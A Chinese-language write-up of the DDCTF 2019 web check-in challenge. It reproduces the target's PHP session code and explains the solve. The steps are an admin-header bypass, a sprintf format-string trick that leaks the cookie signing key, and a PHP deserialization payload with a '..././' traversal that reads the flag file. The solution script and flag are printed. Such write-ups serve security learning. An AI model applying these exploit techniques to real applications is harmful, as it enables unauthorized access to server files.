DDCTF 2019 Web2 Writeup
今天中午还在上物原课时,突然在群里看到 DDCTF 开始了!我天!不是明天吗? 下课后赶紧回宿舍做题,嘛……还真挺硬核的。(其实是自己太菜了
滴~
出题人脑子有泡。
WEB 签到题
个人感觉是很不错的题。如果没有被那个 Restlet Client 框架给坑了,今下午数据结构上机课上就出 flag 了。
进入题目,发现提示没有权限访问,F12 打开开发者面板,发现会自动执行auth()
函数,同时引入了js/index.js
文件,打开后看到会向http://117.51.158.44/app/Auth.php
发送请求,其中请求头中会包含didictf_username
。结合题目提示我们没有权限,可以尝试发送包含didictf_username
值为admin
的请求头。
之后会让我们访问app/fL2XID2i0Cdh.php
,然后就是愉快的代码审计啦:
先贴代码:
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
代码其实不算很复杂,入口是在app/Session.php
文件中Session
的index
方法,首先调用父类的auth()
方法就是上面对请求头的检测。之后它会尝试去读一个自己定义的 Session,如果没有的话,就生成一个。我们先去看一下它 Session 生成的步骤。
生成 Session
首先是生成一个 32 位的随机session_id
字符串,然后$userdata
就是最后 Session 中的数据。里面包含了我们的 IP,浏览器 UA 等信息。最后会对这个存有信息的$userdata
数据进行 PHP 序列化。同时会把序列化的结果,与密钥$eancrykey
拼接,做一次 md5 后拼接在结果后面,起到签名防伪造的效果。
最后将整个结果以 Cookie 的形式存在用户本地。加了个$eancrykey
做 md5,这确实是个不错的本地存 Cookie 的方法啊~
读取 Session
读取的过程其实也就是相反的。首先是检测有没有名为ddctf_id
的 Cookie,没有的话就返回FALSE
。如果有的话,截取后面 32 位,即那段 md5 的签名。再截取前面的内容,即数据正文。用加密的方式检验一下 Cookie 有没有被篡改。没有的话,就对数据进行 PHP 反序列化。检查数据中的session_id
ip_address
ip_address
元素是否存在。
然后判断一下是否传入了名为nickname
的 POST 参数,如果有的话,就格式化字符串输出出来。后面还对ip_address
和ip_address
做了检验。
获取 eancrykey
好的,代码介绍完了,开始分析下吧。
这里我们传入修改后的 Cookie,都需要用$eancrykey
进行检验,因此得想办法得到$eancrykey
的值,这样就可以伪造 Cookie 了。
在传入nickname
POST 参数时,十分违和地出现了个$eancrykey
。这里把$_POST["nickname"]
和$this->eancrykey
放到了同一个数组中,使用foreach
循环后再使用了格式化字符串sprintf()
。这里想到了一个很机智的方法:我们只需要 POST 请求app/Session.php
,传入nickname
的值为%s
,第一次格式化字符串时,会把"Welcome my friend %s"
中的%s
换成%s
,第二就会把%s
换成$this->eancrykey
,这样我们就得到$eancrykey
了。
注意,格式化字符串的代码是在session_read()
方法里的,因此我们需要先空白请求一次,拿到一个 Cookie,再带着这个 Cookie 请求,这样才能进入session_read()
方法。
综上,拿到$eancrykey
为EzblrbNS
。
反序列化
这里给了个 hint//eancrykey and flag under the folder
,因此我们需要想办法读取../config/
文件夹下的 flag。在Application
类中的析构函数中,有一个file_get_contents()
可供我们读取文件。其中的参数$path
来自于Application
类中的$path
属性。而$path
属性的初始值是空的。根据这里含有魔术方法__destruct()
,并且后面有unserialize()
函数,想到我们尝试可以通过 PHP 反序列化来修改$path
的值。
pop 链的构造
之前写 Typecho 反序列化漏洞复现的时候,我提到过反序列化难就难在 pop 链的构造。这里的unserialize()
函数在触发反序列化后,之后只有:
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
中间是我们刚才用的获取$eancrykey
的地方,忽略。之后两个是检测$session['ip_address']
和$session['user_agent']
的值。这里其实可以看做是一个提示。因为$session['ip_address']
和$session['user_agent']
都会被检查,那么唯一自由的地方其实就是$session['session_id']
了。
这里的!isset($session['session_id'])
,我们也可以理解成是!isset($session->session_id)
,即调用session_id
方法。因此,我们可以把session_id
属性设置成Application
类的实例,这样就实现了对Application
实例的调用。
我刚开始在这里其实产生了一个误区:我尝试去修改程序原本$ddctf = new Session();
的Session
,即这个$ddctf
中$path
的值。然而正确做法是我们自己new
的一个Application
实例,通过反序列化修改这个实例的值后,再调用这个实例。(还是对反序列化理解的不够啊
编写 payload
梳理完整个流程后,开始写 payload 吧~ 先把我们要的类复制过来,方法什么都可以丢掉,只留数据就好。
Class Application {
var $path = '..././config/flag.txt'; // 需要修改的值
}
$eancrykey = 'EzblrbNS'; // 设置 $eancrykey,用于签 Cookie
$userdata = array(
'session_id' => new Application(), // 在这里触发反序列化
'ip_address' => 'xxx.xxx.xxx.xxx',
'user_agent' => 'ua',
'user_data' => ''
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);
echo($cookiedata);
这里的$path
还会过一次sanitizepath()
方法的检测,过滤了../
,只要双写成..././
即可。之后出来的../config/flag.txt
刚好满足题目所要求的 18 位字符。跑一遍这个 payload,拿到序列化后的 Cookie,用 burp 发一波就可以拿到 flag 了:
DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}
之前是拿 Restlet Client 插件,直到最后才发现这东西压根没有替换我的 Cookie,一直都用浏览器中存的 Cookie 发过去,难怪一直不出提示。浪费我超久时间,气死。Burp Suite 大法好!
喜欢这篇文章?为什么不打赏一下呢?